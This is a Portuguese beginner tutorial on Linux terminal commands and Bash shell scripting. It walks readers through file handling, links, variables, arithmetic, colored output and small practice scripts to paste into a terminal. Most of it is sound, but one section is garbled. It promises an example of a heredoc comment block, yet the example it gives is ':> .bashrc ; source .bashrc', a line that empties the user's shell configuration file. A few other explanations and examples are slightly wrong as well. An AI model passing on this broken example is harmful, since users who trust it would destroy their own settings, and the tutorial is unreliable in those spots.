Lista componentes do Hardware

sudo lshw

.

Imprime info do hardware

sudo hwinfo --short

.

Lista dispositivos scsi

sudo lsscsi

.

Lista todos os dispositivos PCI

lspci

.

Lista dispositivos USB

lsusb

.

Lista dispositivos de bloco

lsblk

.

Mostra informação sobre a arquitetura da CPU

lscpu

.

Comandos para manipulação de arquivos e diretórios:

.

pwd (Informa o nome do diretório corrente)

cd (Navega entre diretórios)

cd (Volta para a home)

cd . (Diretório atual)

cd .. (Retrocede um diretório)

cd - (Avança para o último diretório em que esteve)

ls (Lista arquivos e diretórios)

ls -a (Lista diretórios, arquivos e arquivos ocultos)

ls -t (Lista arquivos e diretórios por data de modificação)

cp (Copia arquivos e diretórios)

mv (Move ou renomeia arquivos e diretórios)

ln (Estabelece ligações entre arquivos)

ln -s (Estabelece ligações simbólicas entre arquivos)

mkdir (Cria um diretório)

mkdir -p (Cria um diretório e um sub-diretório)

mkdir ../nome-da-pasta-a-ser-criada (Cria uma pasta abaixo da pasta onde estou)

rmdir (Remove um diretório vazio)

rm -f (Apaga arquivos)

rm -r (Apaga pastas/diretórios)

rm -I (Pede confirmação antes de remover)

file (Indica tipo de arquivo)

grep (Pesquisa arquivos por conteúdo)

grep -i palavra-que-procura arquivo-de-texto.txt

grep -i arquivo-que-procura caminho/para/pasta

find (Localiza arquivo por suas características)

find -name "palavra-termo-de-busca"

find -iname "palavra-termo-de-busca"

.

find -name nome-do-arquivo -exec rm {} \; (Executa o comando cmd . O escopo de comando é considerado encerrado quando um ponto e vírgula (;) é encontrado. A cadeia {} é substituída pelo nome de cada arquivo que satisfaz ao critério de pesquisa e a linha assim formada é executada. Assim como foi dito para a opção - name, o ponto e vírgula (;)deve ter antes uma contra barra, ou deve estar entre aspas ou apóstrofos)

.

Exemplo (faça o teste pelo terminal):

~ $touch 01-arquivo.txt

~ $ls -t

~ $find -name 01-arquivo.txt -exec rm {} \;

~ $ls -t

.

basename nome-do-arquivo (Devolve o nome de um arquivo recebendo o caminho completo)

Exemplo:

~ $basename Documentos/
Documentos

.

dirname nome-do-diretório (Devolve o nome do diretório recebendo o caminho completo)

> nome-do-arquivo.extensão (Cria arquivo vazio)

touch nome-do-arquivo.extensão nome-do-arquivo2.extensão (Cria um ou mais arquivos vazios)

cat nome-do-arquivo.extensão > nome-do-arquivo.extensão (Cria arquivo vazio)

.

REPETINDO:

cd - Navegando entre pastas/diretórios

cd . (pasta atual)

cd .. (pasta anterior)

cd ~ (pasta home do usuário)

cd - (última pasta)

.

ls - Lista arquivos

.

ls [opções ] [arquivo/diretório/pasta]

.

ls -l

.

ls -t

.

ls *.txt

(asterisco representa qualquer coisa ligada a .txt)

.

ls *.sh

(asterisco representa qualquer coisa ligada a .sh)

.

ls -lat

.

ls -lah

.

ls ????.txt

.

ls ????.sh

(o ponto de interrogação substitui um e somente um caractere)

.

ls [at]*.mp3

(listar todos os arquivos começados por a ou t, seguido por qualquer coisa * e terminados por .mp3). Exemplo:

$ls [at]*.mp3
alcione_ne_me_quitte_pas.mp3 alex_cohen_quem_de_nos_dois.mp3
alex_cohen_hotel_california.mp3

.

cp - Copia de arquivos e diretórios

.

cp [opções]

.

Se usar:

.

cp -i

.

É o modo interativo. Uso se não tenho certeza de que o arquivo foi copiado previamente, pois copiar novamente sobrescreve o arquivo copiado e posso perder alguma coisa...

.

Se usar:

.

cp -v

.

Mostra o que está copiando

.

Se usar:

.

cp -r

.

Copia recursivamente arquivos pastas e subpastas

.

mv - MOVER ARQUIVOS E PASTAS/DIRETÓRIOS

.

É usado para renomear arquivos, é quase o mesmo que copiar o arquivo origem para o arquivo destino e depois remover o arquivo origem. As opções do mv são parecidas com as do comando cp.

.

Se eu crio o arquivo-teste.txt pelo terminal com o comando touch e escrevo algo nele com o comando echo redirecionando a saída do echo para o arquivo-teste.txt, depois leio o que escrevi com o comando cat eu posso copia-lo para o 2arquivo-teste-novo.txt com o comando mv.

.

Execute copiando e colando os comandos abaixo um de cada vez:

.

cd

echo -e '\nOlá!\nTudo\nFirme?' >> 05-arq.txt

echo -e '2-Olá!\n2-Tudo\n2-Firme?\n' >> 05-arq.txt

ls -tli

cat 05-arq.txt

cat -n 05-arq.txt

rm -f 05-arq.txt

touch arquivo-teste.txt

ls -li

ls -t

echo 'Aprendendo Linux!' >> arquivo-teste.txt

cat -n arquivo-teste.txt

echo 'Estou Aprendendo Linux!' > arquivo-teste.txt

cat arquivo-teste.txt

find -name "arq*"

find -iname "arq*"

find *.txt

mv arquivo-teste.txt 2arquivo-teste-novo.txt

ls -li

ls -t

cat 2arquivo-teste-novo.txt

find -name "2arq*"

find -iname "2arq*"

.

Por exemplo, o comando mv é útil quando eu tenho um arquivo que vou refazer mas quero guardar o arquivo antigo como base para o novo arquivo.

.

O comando mv pode mover o 2arquivo-teste-novo.txt para a pasta Downloads.

.

cd

ls -li

ls -t

pwd

mv 2arquivo-teste-novo.txt Downloads/

cd Downloads/

pwd

ls -li

ls -t

cat 2arquivo-teste-novo.txt

find -name "2arq*"

find *.txt

.

Agora renomeio o 2arquivo-teste-novo.txt para 3arquivo-teste-velho.txt:

.

mv 2arquivo-teste-novo.txt 3arquivo-teste-velho.txt

cat 3arquivo-teste-velho.txt

find -name "3ar*"

.

CONTINUE EXECUTANDO UM COMANDO DE CADA VEZ.

.

pwd

ls -t

mv -b 3arquivo-teste-velho.txt 3arquivo-teste-back.txt

ls -t

pwd

cat 3arquivo-teste-back.txt

mv -i 3arquivo-teste-back.txt 4arquivo-teste-velho.txt

ls -t

pwd

cat -n 4arquivo-teste-velho.txt

find -name "4arq*"

find *.txt

find -iname "4arq*" -exec rm {} \;

ls -t

find *.txt

.

LN - ESTABELECE LIGAÇÕES ENTRE ARQUIVOS

.

ln [-s]

.

O comando ln cria ligações (links).

.

Existem dois tipos de ligações:

HARD LINK E LINK SIMBÓLICO.

.

Hard Link: neste caso, os dois compartilham os dados. Se apagar o arquivo original o hardlink permanece funcionando. Somente é possível fazer hardlink em arquivos que estejam em uma mesma partição de disco. Somente o usuário proprietário do sistema pode criar/desfazer hardlinks.

.

Ex:

> arq3-test.txt

ls -lit

ln arq3-test.txt arq3-hard-link

ls -lit (veja se possuem o mesmo número Inode e o mesmo device)

echo '1-Aprendendo sobre hard link.' >> arq3-test.txt

cat arq3-hard-link

echo '2-Mais uma linha escrita: Aprendendo sobre hard link.' >> arq3-hard-link

ls -lit

cat arq3-test.txt

rm -f arq3-test.txt

ls -lit

cat arq3-hard-link

.

Link Simbólico é somente o caminho do
arquivo-origem. Diferente do hard link pode-se fazer links simbólicos em arquivos e pastas. Nenhum dos dois precisam estar na mesma partição de disco.

.

Uso mais Link Simbólico. Para entender vou criar links. Executo os comandos abaixo um de cada vez.

.

Ex:

touch arq4-test.txt

ls -t

ln -s arq4-test.txt arq4-link-simb

ls -tli

echo 'Aprendendo sobre link simbolico.' >> arq4-link-simb

cat arq4-test.txt

ls -t

rm -f arq4-test.txt (Este é o arquivo origem)

cat arq4-link-simb

ls -t

rm arq4-link-simb

.

Comandos que leem da entrada padrão (stdin/teclado) e escrevem na saída padrão (stdout/monitor de vídeo). O propósito destes filtros quase sempre é o de modificar a saída de outros, por isso, geralmente são utilizados em combinação com mais comandos. Exemplo:

cat, wc, sort, head, tail

.

cat (Exibe conteúdo de arquivos)

wc (Conta caracteres, palavras e/ou linhas de arquivos)

sort (Ordena o conteúdo de arquivos)

head (Exibe o início dos arquivos)

tail (Exibe o final dos arquivos)

.

Os comandos/filtros acima se não forem direcionados para um arquivo, irão aparecer na tela do terminal.

.

APRENDENDO SHELL SCRIPT - COMANDOS MAIS USADOS DO SHELLSCRIPT

.

SOBRE O COMANDOS MAIS USADOS DO SHELLSCRIPT:

É para iniciantes. Pretende oferecer o máximo de informação possível em pouco tempo, para que a pessoa ao terminar de EXECUTAR este artigo entenda bastante coisa sobre shell script e seja capaz de criar scripts úteis para si mesma. Desde o primeiro artigo eu editei ele umas oito vezes. Para mim este ficou mais interessante. Longe de ser perfeito, peço que faça vista grossa a erros de digitação ou definições ligeiramente incoerentes. O negócio é que este artigo é realmente útil para mim e espero que seja útil para você também. A maior parte deste artigo é pesquisa, mas alguns pedaços foram reescritos.

.

Não esqueça de dar intervalos em seus estudos para se esticar, hidratar, etc.

.

SABE POR QUE?

Porque depois de executar alguns trechos deste artigo a ficha cai, a pessoa fica animada e não quer parar (tipo eu).

.

VAMOS LÁ?

.

Qual é o seu usuário?

.

Se você não tem certeza qual é o seu usuário, use o comando "whoami" sem aspas, para saber.

.

Abra o terminal pelo menu do sistema. Não mude de terminal, eu recomendo.

.

DIGITE ESTES COMANDOS ABAIXO UM DE CADA VEZ:

.

apropos shell

whereis bash

whatis bash

echo $SHELL

echo$$

clear

echo

echo ''

echo ""

echo "Olá!"

printf 'Bem vindo ao bash!' (Aperte a tecla enter e digite: ls)

echo '#!/bin/bash'

echo "#!/bin/bash"

ls -t

ls -a

echo ; echo "Olá!" ; echo

echo -e 'Bom\nDia\nMundo!'

echo -e "Bom\nDia\nMundo!"

echo "Hello world!"

echo "Hello "world"!"

echo "Hello \"world\"!"

echo -e "1\t2\t3"

echo -e '1\t2\t3'

echo -e "Nós\tVós\tEles(as)"

echo -e 'Nós\tVós\tEles(as)'

printf "Hello world" (Aperte a tecla enter e digite: df -h)

pwd

clear

ls -ta

sleep 7

echo ; echo 'Olá!' ; sleep 3 ; ls -t

free -h -t

free -th

sleep 4

date

date -d "yesterday"

date -d "2 days ago"

date +"%d/%m/%Y"

cal

du -h

clear

du -hcs

uptime

uname -a

free -tmlh

whatis df

df -a -h

df -k -l

df -T -m

whatis history

history

echo ; whoami ; echo

ls ; echo ; pwd ; echo

echo ; ls -at ; echo

echo "sou \n um \n texto"

echo -e "sou \n um \n texto"

whatis du

du *

ls -lah

du -hcs

du -ach

lsb_release

lsb_release -a

whatis cat

cat /etc/hostname

cat -n /etc/hostname

cd ..

pwd

VARIAVEL="Meu diretório atual é o `pwd`"

echo $VARIAVEL

unset VARIAVEL

echo $VARIAVEL

ls

cd -

pwd

ls

clear

echo ; echo 'df: Relata o espaço de disco usado pelo sistema (Usado e Livre)' ; echo ; df -h ; echo

ls -hat

echo ; echo "du: Relata o espaço utilizado no disco de tal arquivo ou diretório" ; echo ; du -hcs ; echo

echo ; echo 'env (Este comando oferece uma lista de variáveis. Entre elas PWD, USER, SESSION_MANAGER e LANG)' ; sleep 4 ; echo ; env ; echo

clear

echo $PWD

echo ${PWD}

echo $USER

echo "Eu estou logado como usuário $USER"

echo $SESSION_MANAGER

echo ${SESSION_MANAGER}

echo $LANG

VALOR="Linux"

echo $VALOR

echo ${VALOR}

echo $VALOR $VALOR

echo ${VALOR} ${VALOR}

VALOR='ls -t'

$VALOR

${VALOR}

VALOR='history'

echo $VALOR

$VALOR

echo ${VALOR}

${VALOR}

unset VALOR

VALOR=$(cat /etc/hostname)

echo $VALOR

$VALOR

clear

VALOR='free -h -t'

$VALOR

${VALOR}

echo $VALOR

echo ${VALOR}

echo VALOR

echo -e '\nSaiba que ao usar o comando read VALOR\n \n(Aperte a tecla enter, digite: "ls" sem aspas e aperte enter.)\n \nDepois execute $VALOR\n \nVamos ver isto logo abaixo:\n'

read VALOR

$VALOR

${VALOR}

read VALOR

.

OBS: Aperte a tecla enter, digite: "uptime" sem aspas e aperte enter.

.

echo $VALOR

$VALOR

${VALOR}

echo "Entre com o valor para a variável: " ; read VARIAVEL

$VARIAVEL

unset VARIAVEL

VALOR='du -hcs'

echo ; $VALOR ; echo ; $VALOR ; echo

echo ; $VALOR ; sleep 4 ; echo ; $VALOR ; echo

echo ; ${VALOR} ; sleep 4 ; echo ; ${VALOR} ; echo

clear

unset VALOR

echo ; $VALOR

$VALOR

${VALOR}

echo ; ${VALOR}

VALOR='lsb_release -a'

$VALOR

VALOR=$(lsb_release -a)

echo $VALOR

echo -e '\nOlá!\nVamos\nSaber\nOs\nComandos\ndo\nShellscript Linux!'

clear ; echo -e '\n \nOlá!\n \nVamos\n \nSaber\n \nOs\n \nComandos\n \ndo\n \nShellscript Linux!\n'

HOJE=$(lsblk)

echo "Informação sobre dispositivos de bloco: $HOJE"

echo "Informação sobre dispositivos de bloco: ${HOJE}"

HOJE=$(cal)

echo "Informação sobre o calendário atual: $HOJE"

HOJE=$(uptime)

echo "Informação sobre tempo de funcionamento desta máquina: $HOJE"

clear

HOJE=$(lsblk)

echo 'Informação sobre dispositivos de bloco: $HOJE'

echo 'Informação sobre dispositivos de bloco: ${HOJE}'

unset HOJE

echo $HOJE

echo ${HOJE}

echo `expr 3 + 2`

echo $((3+2))

echo `expr 9 + 4`

echo $((9+4))

echo $((2*3))

echo 'dois vezes três é:' $((2*3))

echo $((2*4-2/2+3))

VALOR=44

echo $VALOR

echo $((VALOR*1))

echo $((VALOR*2))

echo $((VALOR*3))

echo $VALOR

VALOR=$((VALOR+1))

echo $VALOR

VALOR=$((VALOR+11))

echo $VALOR

VALOR=$((VALOR+1))

echo $VALOR

VALOR=$((VALOR+11))

echo $VALOR

unset VALOR

echo $VALOR

VALOR="echo -e \nBom\nDia\nMundo\nLinux\n"

$VALOR

echo $VALOR

echo ${VALOR}

VALOR=$(uname -a)

echo $VALOR

HOJE=$(arch)

echo $HOJE

clear

VALOR=$(uname -a) ; echo ; echo "Informação sobre o kernel: $VALOR" ; sleep 4 ; echo ; VALOR=$(arch) ; echo "Informação sobre a arquitetura do sistema: $USER" ; echo ; sleep 2

unset VALOR

unset HOJE

clear

printf "%-5s %-10s %-4s\n" No Nome Pontos

printf "%-5s %-10s %-4.2f\n" 1 Marta 8

printf "%-5s %-10s %-4.2f\n" 2 Joel 9

printf "%-5s %-10s %-4.2f\n" 3 Carlos 7

echo -e "\e[1;31m Este é o texto em vermelho \e[0m"

echo -e "\e[1;32m Este é o texto em verde \e[0m"

echo -e "\e[1;32m Este é o \e[1;34mtexto \e[1;31mmisturado \e[0m"

VALOR="echo -e \e[1;31m\nBom\nDia\nMundo\nLinux\n\e[0m"

$VALOR

echo $VALOR

echo ${VALOR}

unset VALOR

$VALOR

echo $VALOR

unset HOJE

echo $HOJE

clear

exit

.

Muito bom que você digitou um comando de cada vez.

Os comandos mais longos pode copiar e colar no terminal se quiser, mas no início seria melhor digitar.

Saiba que a partir deste momento você já está entendendo coisas extremamente úteis para escrever shellscript usando o Bash!

Uma coisa interessante sobre a maior parte dos comandos acima, é que para estudar eles, você não precisa estar conectado a internet.

Os comandos acima oferecem informações interessantes e úteis. Podemos colocar todos eles em um só script e executar. Dependendo do caso, é mais fácil que digitar um a um de cada vez toda vez que precisar.

.

SE PUDER, ANTES DE CONTINUAR EXECUTE OS COMANDOS ACIMA QUE TE CHAMARAM MAIS A ATENÇÃO DE NOVO POIS, EXECUTAR ELES É MUITO DIDÁTICO. NADA MELHOR QUE APRENDER PRATICANDO.

.

ALGUMAS DICAS ÚTEIS QUE SERÃO REPETIDAS DURANTE O CAMINHO (Vou repetir muitas coisas pelo caminho):

.

1
Não execute shell script como root.

.

2
O shell script Linux usando o interpretador de comandos Bash começa com o shebang:

#!/bin/bash

.

3
Abra um editor de texto e cole nele o script salvando com um nome que termine com extensão .sh

.

4
Dar permissão para executar o script pode ser só para você ou para todos usarem:

chmod +x MeuScript.sh (só você)
chmod a+x MeuScript.sh (todos os usuários do PC)

.

5
Um script pode ser executado de 3 modos:

bash MeuScript.sh
sh MeuScript.sh
./MeuScript.sh

.

Exemplo para começar bem. Copie e cole o código abaixo no terminal que você vai abrir pelo MENU DO SISTEMA:

.

echo -e '#!/bin/bash\nclear\necho\necho Olá usuário Linux!\nsleep 2\necho\necho Olá Mundo!\nsleep 2\necho\nVALOR=GNU/Linux\nVALOR2=whoami\necho Você quer aprender comandos $VALOR?\nsleep 2\necho\necho Então vamos aprender comandos $VALOR!\nsleep 2\necho\necho Vamos aprender Shell Script!\nsleep 2\necho\necho 'Até Breve usuário Linux:' ; sleep 2 ; echo ; $VALOR2\necho\nsleep 2\nexit' > 03-olauser.sh ; chmod +x 03-olauser.sh ; bash 03-olauser.sh

.

Para remover o script criado pelo código acima, o arquivo 03-olauser.sh, use o mouse e o gerenciador de arquivos ou copie e cole o comando abaixo no mesmo terminal onde executou o código:

.

clear ; unset VALOR ; sleep 2 ; rm -f 03-olauser.sh ; sleep 2 ; ls -t ; sleep 2 ; exit

.

# (O nome deste símbolo é tralha)

.

! (O nome deste símbolo é exclamação)

.

./ (Ponto e barra significa onde você está)

.

#! (Tralha e exclamação significa Shebang)

.

: arq-uptime1.txt

uptime > arq-uptime1.txt

.

>> (Este direcionador adiciona ao que estiver escrito)

Exemplo execute os comandos abaixo um de cada vez:

uptime >> arq-uptime2.txt

uptime >> arq-uptime2.txt

.

A Shebang para o Bash é a primeira coisa que se escreve em um shell scripr no Linux:

#!/bin/bash

.

Para ver qual é o shell padrão:

printenv SHELL

.

Para mudar o Shell padrão (não faça isto!) Ex:

chsh -s /bin/ash

.

Para sair do shell:

exit

.

Geralmente o primeiro script para quem nunca criou um shell script é criar uma pasta chamada pasta-estudos na pasta home.

cd ; mkdir pasta-estudos

Abrir a pasta-estudos e nela criar um arquivo de texto chamado de 01-script.sh.

cd pasta-estudos/

> 01-script.sh

Dá poder de execução ao arquivo 01-script.sh.

chmod a+x 01-script.sh

Abre o 01-script.sh com um editor de texto. Escreve com um editor de texto no arquivo 01-script.sh o seguinte:

#!/bin/bash

# Um comentário

echo "Olá, mundo!"

# Fim do Shell Script

.

Comentários também podem ser escritos assim:

#!/bin/bash # Um comentário

echo "Olá, mundo!" # Fim do Shell Script

.

SALVE O QUE FOI ESCRITO. FECHE O EDITOR DE TEXTO.

.

EXECUTA O SCRIPT USANDO UM COMANDO DE CADA VEZ.

comando 1:

sh 01-script.sh

comando 2:

./01-script.sh

comando 3:

bash 01-script.sh

.

TUDO ISTO ACIMA PODE SER FEITO DE UMA SÓ VEZ COM O CÓDIGO ABAIXO:

echo ; printenv SHELL ; echo ; cd ; mkdir pasta-estudos ; cd pasta-estudos/ ; > 01-script.sh ; chmod a+x 01-script.sh ; echo -e '#!/bin/bash\n# Um comentário\necho "Olá, mundo!"\n# Fim do Shell Script' > 01-script.sh ; sh 01-script.sh ; echo ; ./01-script.sh ; echo ; bash 01-script.sh ; ./01-script.sh ; sh 01-script.sh

.

Bloco de comentários tudo que estiver entre :<<'OUTRO_COMENTARIO' e OUTRO_COMENTARIO não irá aparecer quando o shell script for executado. Exemplo a ser executado:

#!/bin/bash

# Um comentário

echo 'Olá quem?'

:> .bashrc ; source .bashrc

.

EXECUTE O COMANDO ABAIXO:

echo $PATH

.

FAÇA UM TESTE CRIANDO UM SCRIPT NA PASTA bin/ copiando e colando no terminal o código abaixo:

cd ; cd bin/ ; echo -e '#!/bin/bash\nclear\nVALOR="Olá Mundo!"\n \necho $VALOR\n \nsleep 3\necho\nunset VALOR\nexit' > bin-script.sh ; chmod a+x bin-script.sh ; cd ; cd Downloads/ ; bin-script.sh ; sleep 3 ; echo ; echo 'Estamos em:' ; echo ; sleep 2 ; echo ; pwd ; echo ; sleep 3 ; echo ; echo 'Funcionou porque o script foi executado na pasta Downloads' ; echo

.

VOCÊ NOTOU SE JÁ É CAPAZ DE LER ESTE CÓDIGO ACIMA E ENTENDER O QUE ELE FAZ?

.

ACRESCENTANDO O NOVO VALOR À VARIÁVEL $PATH:

cd

whoami

PATH=$PATH:/home/seu-usuario-whoami/bin/

.

PARA TORNAR O VALOR, QUE VOCÊ QUISER, PERMANENTE, TEM GENTE QUE FAZ O AJUSTE DA VARIÁVEL DENTRO DO ARQUIVO ".profile" OU ".bash_profile"

export PATH="$HOME/bin:$HOME/.local/bin:$PATH"

.

Exemplo:

cd

pwd

ls -a

echo 'PATH=$PATH:/home/seu-usuario-whoami/bin/' >> .profile

ls -a -t

.

PARA FUNCIONAR, TENTE EXECUTAR:

cd ; source .profile ; source .bashrc

.

PODE TAMBÉM ATUALIZAR E REINICIAR O SISTEMA. COMANDO PARA REBOOT:

sudo shutdown -r now

.

VERIFICANDO A NOVA VARIÁVEL:

echo $PATH

.

LINUX SHELL SCRIPT BRINCANDO COM 5 VARIÁVEIS:

#!/bin/bash

clear

# Este script testa o uso de variáveis

# Definindo 5 variáveis

echo ; echo 'Definindo 5 variáveis em 10 segundos.' ; sleep 3 ; echo

VALOR1='ls -t' ; sleep 2 ; VALOR2='pwd' ; sleep 2 ; VALOR3='cal' ; sleep 2 ; VALOR4='uptime' ; sleep 2 ; VALOR5='whoami' ; sleep 2

# Executando as 5 variáveis

echo 'Executando as 5 variáveis com explicações.' ; sleep 4 ; echo

echo 'Vamos listar o conteúdo desta pasta:' ; echo ; $VALOR1 ; sleep 4 ; echo ; echo 'Vamos saber onde estamos localizados no sistema:' ; sleep 4 ; echo ; $VALOR2 ; sleep 4 ; echo ; echo 'Vamos ver o calendário atual' ; sleep 4 ; echo ; $VALOR3 ; echo ; echo 'Vamos saber o tempo de funcionamento da máquina:' ; sleep 4 ; echo ; $VALOR4 ; sleep 4 ; echo ; echo 'Vamos saber qual é o usuário logado' ; sleep 4 ; echo ; $VALOR5 ; echo

sleep 5

echo 'Executando apenas as variáveis:' ; echo ; $VALOR1 ; sleep 2 ; $VALOR2 ; sleep 2 ; $VALOR3 ; sleep 2 ; $VALOR4 ; sleep 2 ; $VALOR5

# Removendo as 5 variáveis pois este script é apenas um teste

echo ; echo 'Removendo as 5 variáveis em 10 segundos, pois este script é apenas um teste' ; sleep 4 ; echo

unset VALOR1 ; sleep 2 ; unset VALOR2 ; sleep 2 ; unset VALOR3 ; sleep 2 ; unset VALOR4 ; sleep 2 ; unset VALOR5 ; sleep 2

echo ; echo '10 seg para testar as variáveis que não devem ecoar valores' ; sleep 4 ; echo

echo 'Testando as variáveis:' ; echo ; $VALOR1 ; sleep 2 ; $VALOR2 ; sleep 2 ; $VALOR3 ; sleep 2 ; $VALOR4 ; sleep 2 ; $VALOR5

exit

# Fim do script

.

LINUX SHELL SCRIPT - OlaUsuario.sh

.

#!/bin/bash

# Titulo: 01-olauser.sh

clear

USERL='Usuário-Linux'

echo

echo "Olá $USERL"

sleep 2

echo

echo "Tchau $USERL"

sleep 2

clear

exit

# Fim do script

.

ABRA O TERMINAL PELO MENU DO SISTEMA. ABRA O GERENCIADOR DE ARQUIVOS. COLOQUE OS DOIS LADO A LADO NA TELA DO COMPUTADOR. EXECUTE O SCRIPT ACIMA COPIANDO E COLANDO NO TERMINAL O CÓDIGO ABAIXO QUE VAI EXECUTAR O SCRIPT E DEPOIS VAI APAGAR O SCRIPT:

.

cd ; mkdir praticando-shellscript ; cd praticando-shellscript/ ; echo -e '#!/bin/bash\n \n# Titulo: 01-olauser.sh\n \nclear\n \nUSERL=Usuário-Linux\necho\necho Olá $USERL\n \nsleep 4\necho\necho Tchau $USERL\n \nsleep 4\necho\n \nsleep 2\nclear\n \nexit\n \n# Fim do script' > 01-olauser.sh ; chmod a+x 01-olauser.sh ; sh 01-olauser.sh ; sleep 2 ; cd .. ; unset USERL ; rm -rf praticando-shellscript/ ; echo ; pwd ; sleep 2 ; echo ; ls -t ; sleep 2 ; $USERL

.

LINUX SHELL SCRIPT IMPRIMIR SAÍDA COLORIDA:

.

Um script pode usar sequências de escape para produzir textos coloridos no terminal. As cores são representadas por códigos, temos 9 códigos:

reset = 0

black = 30

red = 31

green = 32

yellow = 33

blue = 34

magenta = 35

cyan = 36

white = 37

.

O caractere de escape para vermelho é: "\e[1;31m" após o texto em vermelho, usa "\e[0m" para resetar a cor voltando ao padrão. Substitua o código 31 por outra cor que desejar. Temos 9 códigos: 0, 30, 31, 32, 33, 34, 35, 36, 37.

.

Exemplo:

echo -e "\e[1;36m texto que vai ficar colorido \e[0m"

.

PARA IMPRIMIR UM TEXTO COLORIDO USE ESTES EXEMPLOS ABAIXO:

.

echo -e "\e[1;34m Este é o texto em azul! \e[0m"

echo -e "\e[1;30m Este é o texto em preto! \e[0m"

echo -e "\e[1;32m Este é o texto em verde! \e[0m"

echo -e "\e[1;33m Este é o texto em amarelo! \e[0m"

echo -e "\e[1;35m Este é o texto em magenta! \e[0m"

echo -e "\e[1;36m Este é o texto em cyan! \e[0m"

echo -e "\e[1;37m Este é o texto em branco! \e[0m"

.

PODEMOS IMPRIMIR TODOS ESTE TEXTOS AO MESMO TEMPO PARA TESTAR.

.

Copie o código que eu escrevi abaixo e cole no seu terminal:

.

echo -e "\e[1;34m Este é o texto em azul! \e[0m" ; sleep 3 ; echo -e "\e[1;30m Este é o texto em preto! \e[0m" ; sleep 3 ; echo -e "\e[1;32m Este é o texto em verde! \e[0m" ; sleep 3 ; echo -e "\e[1;33m Este é o texto em amarelo! \e[0m" ; sleep 3 ; echo -e "\e[1;35m Este é o texto em magenta! \e[0m" ; sleep 3 ; echo -e "\e[1;36m Este é o texto em cyan! \e[0m" ; sleep 3 ; echo -e "\e[1;37m Este é o texto em branco! \e[0m"

.

DÁ PARA CRIAR UM SHELL SCRIPT COM ISTO VEJA SÓ:

.

#!/bin/bash

clear

echo

echo -e "\e[1;34mVamos criar uma \e[1;31mpasta. \e[0m"

echo

sleep 4

mkdir pasta-teste

echo

echo -e "\e[1;30mVamos ver se a \e[1;31mpasta \e[1;30mfoi criada. \e[0m"

echo

sleep 4

ls -t

echo

sleep 3

echo -e "\e[1;32mVamos criar um \e[1;31marquivo de texto \e[1;32mvazio \e[0m"

echo

sleep 4

> texto-teste.txt ; echo ; ls -t ; echo ; sleep 5 ; echo

echo -e "\n\e[1;33mVamos \e[1;31mescrever \e[1;33me \e[1;35mmover \e[1;33mo \e[1;32mtexto-teste.txt \e[1;33mpara:\n \n\e[1;34mpasta-teste\n \e[0m"

echo

sleep 4

echo -e "Esta frase\nserá escrita\nem\ntexto-teste.txt" > texto-teste.txt ; sleep 3 ; mv texto-teste.txt pasta-teste

echo

echo -e "\n\e[1;35mEntrar em \e[1;32mpasta-teste \e[1;35me conferir o conteúdo dela \e[0m\n"

echo

cd pasta-teste/ ; echo ; ls -t ; sleep 4 ; echo ; pwd ; echo ; sleep 4

echo

echo -e "\e[1;36mCopiando \e[1;37mtexto-teste.txt \e[1;36mpara \e[1;34mtexto-teste2.txt \e[0m"

echo

sleep 4

cp texto-teste.txt texto-teste2.txt ; echo ; ls -t ; echo ; sleep 4 ; echo ; pwd ; echo ; sleep 4

echo -e "\e[1;37mFim do script. \e[1;31mPode apagar tudo \e[1;32musando o \e[1;37mmouse. \e[0m"

echo

sleep 4

echo -e "\e[1;37mOu pode executar o comando: \e[1;31mrm -rf pasta-teste\e[1;32m mas antes confere os arquivos de texto.\e[0m"

echo

sleep 4

exit

# Fim do script

.

COMANDOS MAIS USADOS EM SHELL SCRIPT NO LINUX

.

ASPAS SIMPLES ' E ASPAS DUPLAS ":

.

Aspas duplas permitem interpretar caracteres especiais.

Aspas simples desabilitam esta interpretação.

Ambas são úteis.

.

CARACTERES DE ESCAPE:

echo "Hello \"world\"!"

.

TODO SCRIPT ESCRITO PARA RODAR NO BASH COMEÇA COM:

#!/bin/bash

Após "#!/bin/bash" de um espaço entre linhas e então pode começar a digitar comandos.

.

Exemplo para executar:

#!/bin/bash

clear

echo ; date ; echo ; sleep 4

echo ; cal ; echo ; sleep 4

echo ; uptime ; echo ; sleep 4

echo ; df -h ; echo ; sleep 4

echo ; free -html ; echo ; sleep 4

echo ; whoami ; echo ; sleep 4

echo ; pwd ; echo ; sleep 4

echo ; ls -at ; echo ; sleep 4

echo ; whereis bash ; echo ; sleep 4

echo ; echo 'Este é o fim do script 01-script.sh' ; echo ; sleep 4

exit

# Fim do script

.

ESTE SCRIPT ÚTIL E INOFENSIVO ACIMA SERÁ SALVO NA PASTA HOME, A PASTA DA CASINHA, USANDO UM EDITOR DE TEXTO E TERÁ O NOME DE:

01-script.sh

.

Posso melhorar/tornar mais amigável este script acima explicando sobre cada comando:

.

#!/bin/bash

clear

echo ; echo 'Hoje é data:' ; echo ; sleep 2

echo ; date ; echo ; sleep 4

echo ; echo 'Hoje pelo calendário é:' ; echo ; sleep 2

echo ; cal ; echo ; sleep 4

echo ; echo 'Esta máquina está funcionando a:' ; echo ; sleep 2

echo ; uptime ; echo ; sleep 4

echo ; echo 'Sobre o tamanho desta pasta:' ; echo ; sleep 2

echo ; df -h ; echo ; sleep 6

echo ; echo 'Sobre a memória RAM:' ; echo ; sleep 2

echo ; free -html ; echo ; sleep 6

echo ; echo 'Você está logado como:' ; echo ; sleep 2

echo ; whoami ; echo ; sleep 4

echo ; echo 'Você está em:' ; echo ; sleep 2

echo ; pwd ; echo ; sleep 4

echo ; echo 'Neste diretório/pasta tem:' ; echo ; sleep 2

echo ; ls -at ; echo ; sleep 6

echo ; echo 'O Bash está em:' ; echo ; sleep 2

echo ; whereis bash ; echo ; sleep 4

echo ; echo 'Este é o fim do script 01-script.sh' ; echo ; sleep 4

exit

# Fim do script

.

No Linux o script deve ter permissão de execução, isto pode ser feito abrindo o terminal pelo menu do sistema e executando o comando:

chmod +x 01-script.sh

.

Depois de salvo você tem que executar o arquivo, dessa forma:

./01-script.sh

.

Viu alguma utilidade neste pequeno script?

Então siga adiante.

.

IMPORTANTE:

Para estudar shell script tem que ser como usuário normal. Se você está acessando o sistema como usuário administrador (root), saia e entre como um usuário normal. É muito perigoso estudar shell usando o superusuário, você pode danificar o sistema com um comando errado.

Ok, continuemos.

.

Para exibir um manual do bash ou mesmo do comando 'chmod', digite na linha de comando:

man bash

man chmod

.

É possível executar o arquivo mesmo sem modificar a permissão de execução, por exemplo, se for um arquivo escrito para ser executado pelo bash, usar:

sh ./"Nome do arquivo, sem aspas"

.

SHELL

É importante saber o que é um Shell.

